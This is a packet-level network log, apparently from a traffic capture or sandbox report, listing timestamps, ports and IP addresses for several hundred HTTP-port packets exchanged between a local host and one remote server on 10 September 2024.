Sep 10, 2024 19:36:09.412791967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412801027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412811995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412818909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412863970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412887096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412899017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412909985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412921906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412936926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412960052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412967920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412971973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412983894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413007975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413039923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413039923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413052082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413063049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413074970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413088083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413088083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413099051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413121939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413158894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413279057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413290977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413301945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413311958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413322926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413328886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413333893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413346052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413352966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413376093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413389921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413583040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413594007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413626909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413635969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413644075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413647890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413659096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413670063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413677931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413690090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413697958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413719893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413749933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413836956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413847923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413858891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413868904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413878918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413886070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413891077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.413919926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.413942099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414030075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414074898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414159060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414202929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414547920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414557934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414567947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414578915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414588928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414592981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414599895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414611101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414623022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414625883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414637089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414647102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414648056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414658070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414668083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414678097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414681911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414697886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414709091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414714098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414722919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414731979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414742947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414743900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414756060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414767027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414772034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414777040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414788008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414794922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414799929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414810896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414815903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414822102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414833069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414838076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414844036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414855003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414860964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414865971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414877892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414902925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414904118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414915085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414927006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414933920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414937973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414948940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414962053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414963961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414974928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414978027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.414984941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414997101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.414999962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415024996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415041924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415067911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415079117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415088892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415098906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415108919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415115118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415123940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415136099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415146112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415147066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415157080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415169001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415169001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415179968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415191889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415194988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415201902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415213108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415216923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415236950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415240049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415249109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415258884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415262938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415270090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415280104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.415281057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.415322065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.498656034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498847961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498851061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.498858929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498871088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498883009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498894930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498895884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.498908043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498919010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.498919964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498934031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498944998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498956919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498966932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.498970032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.498986959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499005079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499116898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499135017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499149084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499160051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499171972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499172926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499185085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499190092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499197006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499248028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499310017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499321938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499332905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499342918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499355078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499357939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499366999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499377012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499377966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499399900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499399900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499437094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499454021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499468088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499479055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499480963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499514103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499521017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499526978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499531984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499574900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499602079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499614954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499617100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499629974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499641895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499653101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499654055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499663115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499670982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499676943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499689102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499700069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499702930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499727964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499733925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499739885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499742985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499777079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.499984026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.499996901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500040054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500082016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500093937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500103951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500116110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500127077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500149965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500179052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500179052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500206947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500217915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500232935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500245094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500255108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500257969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500266075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500276089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500277996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500291109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500298977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500302076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500332117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500349998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500833988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500893116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500900030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500911951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500942945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500952959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.500967026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500978947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.500989914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501013041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501041889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501049995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501060963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501071930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501082897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501095057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501096964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501127958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501141071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501154900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501168013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501178980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501189947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501200914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501202106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501230955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501245022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501280069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501295090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501306057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501317024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501324892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501328945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501338959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501341105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501351118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501373053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501388073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501401901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501413107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501425982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501440048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501445055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501451969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501463890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501475096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501519918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501519918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501632929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501645088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501656055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501667976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501669884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501669884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501669884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501681089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501692057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501696110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501703978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501715899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501724958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501727104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501738071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501746893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501777887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501777887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501790047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501801968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501821041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501851082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501879930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501892090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501902103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501913071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501923084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501924992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.501934052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501944065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501956940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.501957893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.502008915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502022028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502032042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502043009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502047062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.502047062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.502047062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.502054930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502063990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.502064943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502079010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502089977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502099991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.502119064 CEST	49707	80	192.168.2.5	45.152.113.10
